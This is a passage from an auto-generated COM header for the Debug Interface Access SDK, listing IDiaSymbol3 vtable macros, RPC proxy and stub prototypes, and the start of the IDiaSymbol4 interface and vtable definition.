get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol3_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol3_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol3_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol3_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol3_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol3_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol3_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol3_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol3_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol3_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol3_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol3_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol3_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol3_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol3_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol3_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol3_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol3_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol3_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol3_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol3_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol3_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol3_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol3_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol3_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol3_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol3_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol3_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol3_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol3_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol3_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol3_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol3_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol3_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol3_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol3_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol3_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol3_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol3_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol3_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol3_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol3_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol3_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol3_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol3_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol3_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol3_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol3_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol3_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol3_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol3_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol3_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol3_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol3_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol3_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol3_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol3_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol3_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol3_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol3_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol3_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol3_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol3_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol3_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol3_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol3_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol3_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol3_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol3_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol3_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol3_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol3_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol3_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol3_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol3_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol3_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol3_get_inlinee_Proxy( \n    IDiaSymbol3 * This,\n    /* [retval][out] */ IDiaSymbol **pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol3_get_inlinee_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol3_get_inlineeId_Proxy( \n    IDiaSymbol3 * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol3_get_inlineeId_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol3_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol4_INTERFACE_DEFINED__\n#define __IDiaSymbol4_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol4 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol4;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"bf6c88a7-e9d6-4346-99a1-d053de5a7808\")\n    IDiaSymbol4 : public IDiaSymbol3\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noexcept( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol4Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol4 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol4 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol4 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( 